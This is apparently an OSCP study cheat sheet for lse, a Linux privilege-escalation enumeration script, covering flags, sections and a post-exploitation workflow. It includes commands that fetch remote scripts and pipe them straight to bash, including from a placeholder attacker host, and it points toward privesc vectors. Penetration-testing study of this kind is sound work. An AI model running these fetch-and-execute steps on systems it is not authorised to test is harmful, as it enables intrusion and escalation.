lse — Linux Smart Enumeration
Ctrl+F:
lse.sh·-l 0·-l 1·-l 2·-S·-s usr,sud·-p·-i
Repo: diego-treitos/linux-smart-enumeration
Inspired by LinEnum — uses many of the same tests. Unlike LinEnum, lse gradually exposes information by privesc importance instead of dumping everything at once.
OSCP use: Lighter than LinPEAS on noisy boxes. Start at level 0 (green
yes!= low-hanging fruit). Escalate to-l1/-l2if nothing obvious. Enumerate only — you still exploit manually.
→ Privesc Tools · Linux · linuxprivchecker
wget http://192.168.45.227:8000/lse.sh && chmod +x lse.sh && ./lse.sh > lse.txt
📌 Quick one-liners (download)
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh; chmod 700 lse.sh
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh; chmod 700 lse.shNo file on disk (pipe to bash):
bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -iFrom Kali HTTP server:
# Kali
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh
python3 -m http.server 8080
# Target
curl http://ATTACKER:8080/lse.sh | bash -s -- -l 1
wget http://ATTACKER:8080/lse.sh && chmod 700 lse.sh && ./lse.sh📌 Serve script from target (-S — v2.10+)
Since v2.10, run lse.sh on one host and serve it so other hosts can pull it (useful when only one box has outbound HTTP to your Kali, or pivot chain):
./lse.sh -S
# Retrieves lse from this host on the port shown — pull from another internal hostPair with Ligolo-ng / pivot when transferring to deeper hosts.
📌 Verbosity levels (gradual enum)
| Level | Flag | Output |
|---|---|---|
| 0 | ./lse.sh or -l 0 | Default — highly important privesc flaws only. Green yes! = act on it |
| 1 | ./lse.sh -l 1 | Interesting info — broader hunt |
| 2 | ./lse.sh -l 2 | Full dump — pipe to less: ./lse.sh -l2 | less -r |
Recommended flow:
1. ./lse.sh → any green yes! ?
2. ./lse.sh -l 1 → still stuck?
3. ./lse.sh -l 2 | less -r
📌 Key flags
Use: ./lse.sh [options]
-c Disable color
-i Non-interactive mode (no password prompts — use on reverse shells)
-h Help
-l LEVEL 0 = important (default) · 1 = interesting · 2 = all
-s SELECTION Comma-separated sections or test IDs (e.g. usr010,net,pro)
-e PATHS Comma-separated paths to exclude (faster, less complete)
-p SECONDS Process monitor watch time (default 60; 0 = disable)
-S Serve lse.sh from this host for remote retrieval
| Flag | OSCP tip |
|---|---|
-i | Always on non-TTY shells — skips interactive questions |
-l 1 | Good balance when LinPEAS is too noisy |
-s sud,usr | Run only sudo + user sections when you know the vector |
-p 120 | Watch cron longer while other tests run |
📌 Test sections (-s)
| Section | Covers |
|---|---|
usr | Users, groups, passwords |
sud | sudo misconfigs |
fst | File system — permissions, mounts |
sys | System info, kernel |
sec | Security measures |
ret | Cron, timers, recurring tasks |
net | Network |
srv | Services |
pro | Processes (also monitored async) |
sof | Installed software |
ctn | Docker / LXC |
cve | CVE checks |
./lse.sh -l 2 -s usr010,net,pro
./lse.sh -l 1 -s sud,ret,fst -i📌 Process monitor (built-in)
While running other tests, lse watches process creation (similar idea to pspy) — catches cron/scripts you might miss.
./lse.sh -p 120 # Watch 2 minutes
./lse.sh -l 1 -p 0 -i # Disable monitor if you run pspy separatelyIf monitor shows root running a script → check writable path → Linux > cron
📌 What to act on
| Output | Next step |
|---|---|
Green yes! | Read the flagged test — usually direct privesc path |
sudo -l / NOPASSWD | sudo |
| SUID / capabilities | GTFOBins · Linux > SUID |
Writable /etc/passwd, cron, .service | Linux manual sections |
| Docker / LXC group | lxc - LXD Privilege Escalation - EDB 46978 |
| Old kernel | linux-exploit-suggester on Kali |
📌 vs other tools
| Tool | When |
|---|---|
| LinPEAS | Default first run — most comprehensive (Privesc Tools) |
| lse | Gradual output; less overwhelming; good second pass |
| LinEnum | Older; lse supersedes for most OSCP boxes |
| linuxprivchecker | Python; lists vectors to investigate (linuxprivchecker) |
| pspy | Process-only; run alongside any enum script |
📌 OSCP workflow
Low shell
→ curl/wget lse.sh (or bash <(curl...) -l1 -i)
→ Level 0: green yes! ?
→ Level 1 if needed
→ pspy in parallel if cron suspected
→ Manual [[Linux]] on flagged items
→ Kernel old? [[linux-exploit-suggester]] on Kali
📌 Quick cheat sheet
# Download
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh; chmod 700 lse.sh
# Run
./lse.sh -i
./lse.sh -l 1 -i
./lse.sh -l 2 -i | less -r
./lse.sh -l 1 -s sud,ret,usr -i
# One-liner
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i
# Serve to other hosts (v2.10+)
./lse.sh -S📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'→ Linux > 📌 1) Basic Manual Enumeration